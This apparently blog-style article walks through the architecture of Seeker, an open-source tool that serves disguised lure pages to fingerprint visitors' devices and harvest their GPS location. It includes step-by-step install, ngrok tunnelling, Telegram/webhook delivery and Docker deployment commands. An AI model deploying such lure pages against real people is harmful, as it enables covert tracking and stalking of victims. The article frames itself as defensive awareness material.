Every browser carries a small negotiation that most users never think about: the moment a website asks for location permission, the operating system hands over GPS hardware access if the user clicks allow. Seeker, a Python and PHP project by thewhiteh4t, is built entirely around that negotiation. The concept, as the README states it, is simple: just like phishing pages harvest credentials, Seeker hosts a page that requests location permission like many popular location-based services do, and if the visitor allows it, the tool receives longitude, latitude, accuracy, and — when available — altitude, direction, and speed. Alongside the coordinates it collects device information with no extra permission: operating system, platform, CPU core count, RAM, GPU vendor and renderer, screen resolution, browser name and version, and IP addresses. The version studied here is 1.3.1, a deliberately small codebase — a Python orchestrator, a few PHP handlers, one JavaScript collector, and a folder of template pages.

What separates Seeker from ordinary IP geolocation tools is stated on its own README: IP geolocation returns the approximate location of the ISP, not the device. Seeker instead uses the browser’s HTML geolocation API and grabs coordinates from the GPS hardware itself, so it works best on smartphones, and it falls back to IP geolocation or cached coordinates only when no GPS is present. The README estimates that when a user accepts the permission prompt, accuracy is approximately 30 meters. The architecture reflects that philosophy — the entire backend is a stock PHP built-in server serving a static page, and the entire intelligence of the tool lives in a few hundred lines of JavaScript that talk to two tiny PHP endpoints.

This article reads the repository purely as a software engineering study of how such a tool is assembled. Seeker is explicitly labeled a Proof of Concept for Educational Purposes Only by its author, who says it shows what data a malicious website can gather and why you should not click random links or allow critical permissions such as location. That framing carries over here: deploying pages to trick real people is illegal in most jurisdictions, so treat this tour as a lesson in defensive awareness — understanding the mechanism is exactly what helps you recognize and refuse such requests.

Seeker overview architecture diagram

Seeker's end-to-end shape: the Python CLI builds a template site, serves it with PHP, and the embedded location.js posts device and coordinate data to two PHP handlers, which a watcher loop parses into CSV, KML, and notification channels.

Reading the overview from left to right:

  • CLI entry (seeker.py) — argparse parses flags, selects a template, starts the server, and enters the watch loop. See seeker.py.
  • Template catalog (template/templates.json) — eight named templates, each with a directory and an import file. See templates.json.
  • Template builders (template/mod_*.py) — each module reads its index_temp.html and writes the final page. See mod_nearyou.py.
  • PHP server (seeker.py) — the stock php -S built-in server rooted at the chosen template directory.
  • Collector (js/location.js) — device fingerprinting and geolocation calls. See location.js.
  • Capture handlers (php/info.php, php/result.php) — two endpoints that write JSON files. See info.php.
  • Watch loop (seeker.py) — wait() and data_parser() turn captured files into reports. See seeker.py.

Why You Need This

The first value is seeing how little code modern tracking takes. There is no exploit here — the entire capture surface is standards-compliant browser behavior. information() in js/location.js reads navigator.platform, navigator.hardwareConcurrency, navigator.deviceMemory, and the user agent, then renders a canvas and asks WebGL for WEBGL_debug_renderer_info to unmask the GPU vendor and renderer string. That is a classic canvas-style fingerprint assembled in under a hundred lines of JavaScript, and it ships to the server before the user has clicked anything, because device data needs no permission at all. Only the coordinates are gated behind the permission prompt.

The second value is the permission UX. locate() calls navigator.geolocation.getCurrentPosition with enableHighAccuracy: true and a 30-second timeout, and the template pages wrap that call inside whatever story the template tells — a “Find People Near You” button on the NearYou page, a document preview on the Google Drive page, a verification step on the reCAPTCHA page. When permission is denied, the browser returns PERMISSION_DENIED, and Seeker records that outcome too through error_handler.php, so even a refusal is a data point. For defenders, this is the anatomy lesson: any site you have never heard of asking for location is running something very much like this loop.

The third value is the engineering pattern of a file-based message bus. Seeker has no database and no socket between its two halves. The PHP handlers write info.txt and result.txt into a logs/ directory, and the Python process simply polls the result file every two seconds, parses the JSON, prints a report, appends a CSV row, and truncates the files to wait for the next visitor. It is a refreshingly honest design — one process produces files, another consumes them, and the entire session state lives in four plain text files plus a CSV.

How It Works

Seeker detailed architecture diagram

The full anatomy: argparse with environment fallbacks, the template factory with copied handlers, the PHP server lifecycle with PID and psutil management, the browser collector, the two capture endpoints, and the parser loop feeding enrichment and notifications.

Understanding the Architecture

CLI layer with environment fallbacks. seeker.py opens with argparse: -k names a KML output file, -p sets the port (8080 by default), -t pre-selects a template index, -d disables the automatic HTTP-to-HTTPS redirect for testing, and -tg/-wh configure Telegram and webhook delivery. Every major flag also reads an environment variable — PORT, TEMPLATE, TELEGRAM, WEBHOOK, DEBUG_HTTP — which is how headless Docker deployments work without any interaction. The -u flag fetches metadata.json from the master branch and compares versions with the packaging library. Output goes through utils.print, which strips ANSI color codes with a regex when stdout is not a TTY.

The template factory. template_select() reads templates.json, lists the eight templates (NearYou, Google Drive, WhatsApp, WhatsApp Redirect, Telegram, Zoom, Google ReCaptcha, Custom Link Preview), and dynamically imports the chosen mod_*.py. Each module follows the same contract: read index_temp.html, optionally mutate it — the NearYou module removes the window.location = "https:" + restOfUrl redirect line when DEBUG_HTTP is set — and write the final index.html. Then template_select() copies the three PHP handlers into the template directory as error_handler.php, info_handler.php, and result_handler.php, and drops location.js into a js/ subdirectory. Every template becomes a self-contained site with the same capture plumbing.

Server lifecycle. server() first probes the port with a socket connection; if something answers, it reads the pid file and uses psutil to kill the stale PHP instance, or exits with a clear error. A fresh php -S 0.0.0.0:<port> -t template/<site>/ process is spawned with its stdout redirected to logs/php.log, and the PID is persisted for the next run. Before declaring victory, the function requests /index.html over HTTP and checks for a 200, catching the common case of a missing PHP binary immediately.

The collector and its two endpoints. On the client, information() fires on page load and posts platform, browser, core count, RAM, GPU strings, screen dimensions, and OS to info_handler.php. The handler’s getUserIP() walks the proxy headers in order — HTTP_CF_CONNECTING_IP, HTTP_CLIENT_IP, HTTP_X_FORWARDED_FOR, then REMOTE_ADDR — validating each with filter_var, which is why the tool still sees the real client IP behind Cloudflare or a reverse proxy. The JSON payload lands in ../../logs/info.txt. When the user clicks the action button, locate() runs and showPosition posts latitude, longitude, accuracy, altitude, heading, and speed — each suffixed with its unit or marked Not Available — to result_handler.php, which writes ../../logs/result.txt.

The parser loop. Back in Python, wait() sleeps two seconds per iteration and watches the size of result.txt. Once data appears, data_parser() reads both JSON files, prints a device report, and — unless the IP is private — queries https://ipwhois.app/json/<ip> for continent, country, region, city, organization, and ISP. If the location status is success, it prints the coordinates, builds a Google Maps place URL from latitude and longitude, and optionally generates a KML file by substituting the coordinates into template/sample.kml for direct loading into Google Earth. Every captured row is appended to db/results.csv, and send_telegram / send_webhook push the same events outward: telegram_api.py calls the Bot API’s sendMessage with MarkdownV2 formatting, discord_webhook.py builds rich embeds, and any other URL receives the raw JSON by POST. Finally clear() truncates both files and repeat() loops, so one process can harvest any number of visitors.

End to end. A capture flows like this: the operator runs python3 seeker.py, picks template 0, and PHP serves the page; a visitor opens the tunneled URL, the page fingerprints the device and posts it silently, the visitor taps Continue, the geolocation prompt appears, and on allow the coordinates post to result_handler.php; within two seconds the Python watcher parses the files, enriches the IP, prints the report, saves the CSV row, and notifies Telegram, Discord, or a webhook — then resets and waits for the next visitor.

Advantages

  • Zero-exploit capture — the tool uses only standard browser APIs; the geolocation prompt and the fingerprint are both legitimate browser features, which makes the study directly relevant to defensive training.
  • GPS-grade accuracy — coordinates come from the device’s GPS hardware, approximately 30 meters per the README, instead of ISP-level IP geolocation guesses.
  • Frictionless template system — eight ready-made pages plus a documented process in createTemplate.md for building more; adding one is a folder and a JSON entry.
  • File-based architecture — no database, no message broker; the entire state is plain JSON and CSV files that anyone can inspect after the fact.
  • Headless-friendly configuration — every flag has an environment variable twin, and Docker support ships in the repository, so the tool runs identically on a laptop or in a container farm.
  • Multi-channel delivery — console, CSV, KML, Telegram, Discord, and generic webhooks are all first-class, letting results flow into whatever analysis tooling already exists.

Benefits

  • Awareness training — security educators can demonstrate, in a controlled lab, exactly what a location-permission prompt hands over, with the README’s own advice against malicious use.
  • Clean, readable source — a handful of small Python and PHP files, each with a single responsibility, make this an approachable codebase for learning how a small tool is glued together.
  • Portable deployment — the Alpine Dockerfile installs PHP, Python, and three pip packages, exposing port 8080, and the image is published as thewhiteh4t/seeker.
  • Forensic completeness — each capture records device, network, and location attributes together, with an automatic IP recon step that maps the address to organization and ISP.
  • Reusable patterns — the PID-file server management, the ANSI-stripping logger, and the file-bus watcher are small techniques worth borrowing for other quick tooling.
  • KML integration — generating a Google Earth-ready file from a capture makes visual verification of results straightforward.

Usage

Installation on Kali, Arch, Ubuntu, Fedora, Parrot, or Termux:

git clone https://github.com/thewhiteh4t/seeker.git
cd seeker/
chmod +x install.sh
./install.sh

Basic run with an ngrok tunnel in a second terminal:

python3 seeker.py
./ngrok http 8080

Pre-select a template, use a custom port, and write a KML file:

python3 seeker.py -t 1
python3 seeker.py -p 1337 -k mycapture
./ngrok http 1337

Deliver results to Telegram and a webhook without interaction:

TELEGRAM=123456789:AAExampleToken:987654321 \
WEBHOOK=https://example.com/hook \
TEMPLATE=0 python3 seeker.py

Docker deployment, connecting the tool and its tunnel on one network:

docker network create ngroknet
docker run --rm -it --net ngroknet --name seeker thewhiteh4t/seeker
docker run --rm -it --net ngroknet --name ngrok wernight/ngrok ngrok http seeker:8080

Conclusion

Seeker is a study in minimalism with intent. One JavaScript file does the collecting, two PHP files do the receiving, and one Python file orchestrates everything else — templates, server lifecycle, parsing, enrichment, and delivery. There is no framework, no database, and no cleverness beyond the design itself, and that is precisely why it works as an educational artifact: anyone reading the source can see, line by line, how a friendly-looking page turns a permission click into coordinates accurate to roughly 30 meters. The project’s own warning is the right closing note — it exists to show what a malicious website can gather about you, and the practical lesson for every reader is to treat unexpected location prompts from unknown sites as exactly what this code shows they can be.

Links:

Watch PyShine on YouTube

Contents